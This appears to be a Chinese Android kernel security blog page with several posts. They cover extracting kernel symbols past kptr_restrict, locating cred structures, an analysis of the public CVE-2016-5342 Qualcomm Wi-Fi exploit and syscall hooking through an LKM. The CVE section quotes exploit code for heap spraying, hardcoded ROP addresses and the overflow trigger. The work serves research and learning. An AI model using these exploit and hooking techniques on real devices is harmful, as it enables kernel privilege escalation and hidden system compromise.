ne2der

0x0 为什么需要从kernel image文件提取符号

在进行Android内核exp的时候,常常都需要用到内核符号和它们的地址。linux的/proc/kallsyms中可以找到这些符号的名字和地址,但是这些符号在目前的Android系统中都是被kptr_restrict机制block掉的。

代码位置kernel: lib/vsprintf.c

* %pK cannot be used in IRQ context because its test
* for CAP_SYSLOG would be meaningless.
if (kptr_restrict && (in_irq() || in_serving_softirq() ||
in_nmi())) {
if (spec.field_width == -1)
spec.field_width = default_width;
return string(buf, end, "pK-error", spec);
if (!((kptr_restrict == 0) ||
(kptr_restrict == 1 &&
has_capability_noaudit(current, CAP_SYSLOG)))) //when kptr_restrict ==1 , symbols will be hidden
ptr = NULL;

所以,现在读取kallsyms中的内容会发现所有的符号地址都是0,通过下面的命令可以关闭kptr_restrict。

echo 0 > /proc/sys/kernel/kptr_restrict

然而,

这条命令需要root权限,很可能我们是没有root权限的。那么就尝试直接从kernel image中提取符号,并且在N以及N之前的内核中并没有开启KALSR(下个版本就KALSR了),因此,提取到的地址就是符号真实的地址。

0x01 手动定位

在学习的过程中发现了android手机内核提取及逆向分析,文章提供了一种手动搜索的符号地址的方法。我测试了几个符号的查找,发现并不是所有的符号字符串都可以在内核镜像文件中查找到。比如,在下图ida中加载的image文件的string窗口中(已经按string排序)可以看到,有sys_close,却没有sys_clone。查了才知道原来符号字符串是压缩存储的。
ida

为了提取所有的符号,那么可以模拟kallsyms提取内核符号的过程将符号还原即可。

0x02 分析kallsyms

代码位置kernel: kernel/kallsyms.c
相关的关键函数是kallsyms_lookup_name,这个函数传入一个符号名,返回这个符号的地址

unsigned long kallsyms_lookup_name(const char *name)
char namebuf[KSYM_NAME_LEN];
unsigned long i;
unsigned int off;
for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
off = kallsyms_expand_symbol(off, namebuf, ARRAY_SIZE(namebuf)); //decompress symbol name
if (strcmp(namebuf, name) == 0)
return kallsyms_addresses[i]; //return symbol address
return module_kallsyms_lookup_name(name); //try to find symbol in LKM
EXPORT_SYMBOL_GPL(kallsyms_lookup_name);

kalsyms_lookup_name查找符号的步骤是:

  • 1.遍历所有的符号(kallsyms_num_syms即内核符号数量)
  • 2.比较是否要查找的符号
  • 3.是 返回kallsyms_addresses中对应的地址,否继续
  • 4.如果遍历完也没找到,尝试查找LKM中的符号

从这个函数可以得出有一张存放内核符号地址的表kallsyms_addresses和一张存放内核符号名的表,这两张表的内容的顺序存在对应关系,也就是内核符号名表的第那n个符号对应内核符号地址表的第n个地址。kallsyms_expand_symbol就是用来解析内核符号名表获取符号名的。继续分析,
代码位置kernel: kernel/kallsyms.c

static unsigned int kallsyms_expand_symbol(unsigned int off,
char *result, size_t maxlen)
int len, skipped_first = 0;
const u8 *tptr, *data;
/* Get the compressed symbol length from the first symbol byte. */
data = &kallsyms_names[off];
len = *data;
* Update the offset to return the offset for the next symbol on
* the compressed stream.
off += len + 1;
* For every byte on the compressed symbol data, copy the table
* entry for that byte.
while (len) {
tptr = &kallsyms_token_table[kallsyms_token_index[*data]];
while (*tptr) {
if (skipped_first) {
if (maxlen <= 1)
goto tail;
*result = *tptr;
skipped_first = 1;
if (maxlen)
*result = '\0';
/* Return to offset to the next symbol. */
return off;

很明显kallsyms_expand_symbol就是用来还原字符串的,函数进行了多次索引。

过程是(以符号_text为例):

  • 1.从kallsyms_names[off]读出第一个字节,值为n,这个字节代表符号名的分片个数(text被分为 __ ,t,ext共3片存储,最前面还存放一个type信息共4个部分,n为4)
  • 2.kallsyms_names[off]之后的第n个字节的值对应该分片的索引在kallsyms_token_index中的偏移,在kallsyms_token_index中取出这个索引index[n]。
  • 3.index[n]代表这个分片在kallsyms_token_table表中的偏移,这个表中存储的就是分片的实际内容了。以0作为分片的结尾
  • 4.取出所有分片后拼接在一起,就是 symtype(1byte)+symstring(mbyte),取后n个byte就是符号名了

画个图好了
symbol_index

0x03 代码获取image中的符号

现在知道如何获取内核符号名以及内核符号地址了,剩下问题就在于如何从Image中定位四张表,在符号地址中有三个连续的符号的地址都是0xffffffc000081000,在kallsyms中可以看到这三个符号如下图
magic-address

从image文件中定位,三个连续的ffffffc000081000,即可找到kallsyms_addresses表,从这个位置向前查找到第一个不为0的位置,就是kallsyms_addresses表的首地址。
magic_address_in_img

magic_addr = ["00100800c0ffffff00100800c0ffffff00100800c0ffffff"]
loc = img.find(magic_addr[0].decode("hex"))
if loc == -1:
print "can not find magic_addr to locate addresses list head"
addresses = struct.unpack_from("<Q", img, loc)
offset = 0
#find address list start through magic address
while addresses[0]:
offset = offset + 1
if loc + offset * 8 >= len(img):
print "can not find end of addresses list"
addresses = struct.unpack_from("<Q", img, loc - offset * 8)
# print hex(addresses[0])
addresses_offset = loc - 8 * (offset - 1)
print "addresses list start at offset %x" % addresses_offset

kallsyms_addresses表结束后,有两个字节存放kallsyms_num_syms,然后依次是kallsym_names ,markers ,kallsym_token_index ,kallsym_token_tables ,各个部分之间通过长度不定的00分割,因此找到一张表的末尾之后,跳过0就是下一张表的首地址。

while addresses[0] > 0xffffffc000000000:
offset = offset + 1
if loc + offset * 8 >= len(img):
print "can not find end of addresses list"
addresses = struct.unpack_from("<Q", img, loc + offset * 8)
#skip zero between address_list and sym_num
while addresses[0] == 0:
offset = offset + 1
if loc + offset * 8 >= len(img):
print "can not find end of addresses list"
addresses = struct.unpack_from("<I", img, loc + offset * 8)
loc = loc + offset*8
sym_num = addresses[0]
print "sym num %d " % sym_num

注:markers这张表用于probe,本文获取内核符号时并不需要用到

完整code:边测边写,丑到无法直视

1.where is creds

creds结构提保存在进程的task_struct结构体中,task_struct结构体比较长,不贴出来了,task_struct结构体定义在/include/linux/sched.h中。

因此要定位creds结构体,就要定位到task_struct结构体,linux内核为每一个进程都分配了一个thread_union,

union thread_union {
struct thread_info thread_info;
unsigned long stack[THREAD_SIZE/sizeof(long)];

因此,thread_info内存布局如图
task_stack

thread_info结构体的task字段即该进程的task_struct结构体指针

struct thread_info {
unsigned long flags; /* low level flags */
mm_segment_t addr_limit; /* address limit */
struct task_struct *task; /* main task structure */
struct exec_domain *exec_domain; /* execution domain */
struct restart_block restart_block;
int preempt_count; /* 0 => preemptable, <0 => bug */
int cpu; /* cpu */

thread_info中还有一个比较重要的字段addr_limit,表示该进程能可以访问的内存范围,exp中通常也用修改这个字段获取全部内存的操作权限。
另外,THREAD_SIZE在arm与arm64中size不同,因此在定位thread_info时有一些差异。

//define in arch/arm/include/asm/page.h
#define PAGE_SIZE (_AC(1,UL) << PAGE_SHIFT)
//define in arch/arm/include/asm/thread_info.h
#define THREAD_SIZE_ORDER 1
#define THREAD_SIZE (PAGE_SIZE << THREAD_SIZE_ORDER)
//define in arch/arm64/include/asm/thread_info.h
#define THREAD_SIZE 16384

2.如何查找creds

根据上面的creds位置,通常有两种查找creds的方法,
方法一:
如果获取到sp,就可以反推到thread_info的头部,也就可以找到进程的task_struct结构体。事实上,kernel也是通过这种方式定位thread_info结构体的。

//define in arch/arm(arm64)/include/asm/thread_info.h
static inline struct thread_info *current_thread_info(void)
return (struct thread_info *)
(current_stack_pointer & ~(THREAD_SIZE - 1));

只要带入对应的THREAD_SIZE即可。简化就是

thread_addr = sp & 0xFFFFFFFFFFFFC000 //for arm64
thread_addr = sp & 0xFFFFE000 //for arm

然后知道thread_info,task_struct的结构
通过
thread_into->task_struct->cred
即可找到cred

方法二:
如果内核sp没有泄露,就只好遍历task_struct链表了,在task_struct结构体中有一个task字段,这个字段时一个双向链表,系统中运行的所有进程都在这个链表中,通常的方法是先定位idle的task_struct(也就是第一个task_struct,这个task_struct是静态分配的,存在于kernel的data段)。然后从这个task_struct遍历所有task_struct,通过其中的特征字段如comm,查找指定的进程的task_struct

task_list

ref:
Android pxn 绕过技术

编号: CVE-2016-5342
EXP: Github
EXP作者:freener
相关链接:AndroidBullitin,codeaurora

漏洞原理

这是一个存在于高通wifi驱动中的buffer overflow漏洞,通过PATCH分析漏洞的原理与后果。

diff --git a/drivers/net/wireless/wcnss/wcnss_wlan.c b/drivers/net/wireless/wcnss/wcnss_wlan.c
index 86f3a48..3f9eeab 100644
--- a/drivers/net/wireless/wcnss/wcnss_wlan.c
+++ b/drivers/net/wireless/wcnss/wcnss_wlan.c
@@ -3339,7 +3339,7 @@ static ssize_t wcnss_wlan_write(struct file *fp, const char __user
return -EFAULT;
if ((UINT32_MAX - count < penv->user_cal_rcvd) ||
- MAX_CALIBRATED_DATA_SIZE < count + penv->user_cal_rcvd) {
+ (penv->user_cal_exp_size < count + penv->user_cal_rcvd)) {
pr_err(DEVICE " invalid size to write %zu\n", count +
penv->user_cal_rcvd);
rc = -ENOMEM;

通过PATCH可知,漏洞原因是边界检查不严,问题出在count + penv->user_cal_rcvd的值上,函数不大,代码如下

static ssize_t wcnss_wlan_write(struct file *fp, const char __user
*user_buffer, size_t count, loff_t *position)
int rc = 0;
u32 size = 0;
if (!penv || !penv->device_opened || penv->user_cal_available)
return -EFAULT;
if (penv->user_cal_rcvd == 0 && count >= 4
&& !penv->user_cal_data) {
rc = copy_from_user((void *)&size, user_buffer, 4); //获取用户态传入的前四个byte中的数据放入size中,这四个byte是传入数据的长度
if (!size || size > MAX_CALIBRATED_DATA_SIZE) {
pr_err(DEVICE " invalid size to write %d\n", size);
return -EFAULT;
rc += count;
count -= 4;
penv->user_cal_exp_size = size;
penv->user_cal_data = kmalloc(size, GFP_KERNEL);//分配size大小的空间用于存放数据
if (penv->user_cal_data == NULL) {
pr_err(DEVICE " no memory to write\n");
return -ENOMEM;
if (0 == count)
goto exit;
} else if (penv->user_cal_rcvd == 0 && count < 4)
return -EFAULT;
if ((UINT32_MAX - count < penv->user_cal_rcvd) ||
MAX_CALIBRATED_DATA_SIZE < count + penv->user_cal_rcvd) {
pr_err(DEVICE " invalid size to write %zu\n", count +
penv->user_cal_rcvd);
rc = -ENOMEM;
goto exit;
rc = copy_from_user((void *)penv->user_cal_data +
penv->user_cal_rcvd, user_buffer, count); //拷贝数据到分配的内存中
if (0 == rc) {
penv->user_cal_rcvd += count;
rc += count;
if (penv->user_cal_rcvd == penv->user_cal_exp_size) {
penv->user_cal_available = true;
pr_info_ratelimited("wcnss: user cal written");
return rc;

由此,问题很明显,分配的空间由size控制,拷贝的数据长度却由count控制。size即传入数据的前四个字节,count是用户传入的参数,所以如果count>size就可以越界写。

漏洞利用

通过漏洞原理学习freener的EXP代码就比较清晰了。

1.喷射

首先分配大量的binder_fd占用内存碎片,保证后面的分配的fd是连续的

printf( "[+] Spray SLUB Cache\n" );
for( ; i < BINDER_MAX_FDS; i++ ) {
binder_fd[i] = open( "/dev/binder", O_RDWR );
if ( binder_fd[i] < 0 ) {
printf( "[-] Can not open binder %d\n", i );
return -1;

然后分配几个fd用于部署ROP,由于之前大量分配的fd已经占用了分散的内存片,这些fd在内存中是连续的。

for ( i=0; i < MAX_FD; i++ ) {
fd[i] = open( "/dev/msm_mp3", O_RDWR | O_NONBLOCK );
if ( fd[i] < 0 ) {
printf( "[-] Can not open /dev/msm_mp3\n" );
return -1;

2.部署ROP

freenr的代码中ROP的地址的特定机型,已经找好了硬编码在代码中的

#define ROP_READ ( 0xC04DBE88 )
………………
#define ROP_WRITE ( 0xC0760FE4 )

通过漏洞将ROP地址写入内核中。

int length = 512; //size
*(unsigned int *)buffer1 = length;
*(unsigned int *)(buffer1 + length + 0x14C) = ROP_READ;
//构造数据
int count = 0;
close( fd[0] ); 释放一个fd的空间
count = write( fd_wlan, buffer1, message1_len + 4 ); //触发漏洞 第三个参数即count
printf( "[+] Trigger Kernel Execution Code\n" );
int result;

最初fd的状态
fd-orig.png
释放fd[0]空间
fd-release.png
触发漏洞将ROP写入fd[1]空间中,覆盖fd结构体中的函数
fd-overwrite.png
(PS:至于为什么会恰好写到释放的空间中,答案是linux内存的SLUB机制)

3.调用ROP

直接使用ioctl调用fd,就能调用ROP,将读写两个ROP分别写入两个fd,就可以拥有对内核的写与读能力。

result = ioctl( fd[1], 0x40046144, SELINUX_ENFORCING );
if ( result != 0x1 ) {
printf( "[-] Read Kernel Failed %x\n", result );
return -1;

后面就是关闭SELINUX,修改cred提权了,就不分析。

终于克服了拖延症写下了第一笔,前段时间看了Hooking Android System Calls for Pleasure and Benefit,于是就自己尝试着写了一下,综合了其他的思路改用动态获取sys_call_table的方法。思路简单,主要记录下遇到的问题。

定制内核

首先,为了必须使Kernel支持LKM,上文中给出的方法是在编译内核make defconfig之后,修改源码目录中的.config文件。这种方法修改的选项make时会被override。

scripts/kconfig/conf --silentoldconfig Kconfig
.config:214:warning: override: reassigning to symbol MODULES
# configuration written to .config

回去看.config文件的已经被恢复,实际上选项并没有生效。更简单的方法是修改

arch/platform(arm/arm64/……)/Kconfig

在其中将MODULES,MODULE_UNLOAD添加到default y项中

config ARM
select MODULES
select MODULE_UNLOAD
select ARCH_BINFMT_ELF_RANDOMIZE_PIE
select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
select ARCH_HAVE_CUSTOM_GPIO_H
select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
select ARCH_WANT_IPC_PARSE_VERSION

定位sys_call_table

sys_call_table地址的获取方法有多种,如上文采用的/proc/kallsym读取的方法,还以从system.map读。这些方法原理已经已经很多,就不多说了。
这里我采用的是用sys_close偏移定位的方法。这种方法的原理是从PAGE_OFFSET开始暴力查找,从每一个地址找NR_close偏移处存储的是否是sys_close来判断当前地址是否是sys_call_table。测试过程中arm一切正常,但是在arm64下却会crash。经过一段时间的排查发现。arm64下由于进行arm兼容,多了一张compat_sys_call_table的表。在内存中它们的位置关系如下。
compat_sys_call_in_memory
两张表中存储sys_close的相同,查找程序会先找到compat表中的sys_close,并且由于arm与arm64的系统调用号不同(查看对应的unistd.h确定),所以找到的地址既不是compat_sys_call_table也不是sys_call_table。根据内存的情况,扩展原来的定位方法,首先用arm的调用号确定compat_sys_call_table地址,在跳过这个地址继续暴力查找,用arm64的调用号确定sys_call_table的地址。

测试环境:android kernel 3.10 arm64
丑陋Code:ASyScallHookFrame


为您推荐了相关的技术文章:

  1. Metasploit Framework详解
  2. Google BBR魔改版安装教程,支持CentOS6/7和Ubuntu14 - 教程资源 - 如有乐享
  3. 自动化挖掘 windows 内核信息泄漏漏洞
  4. Pwn2own漏洞分享系列:利用macOS内核漏洞逃逸Safari沙盒
  5. 来自高纬的对抗 - 逆向TinyTool自制 - 禅 悟

原文链接: ne2der.com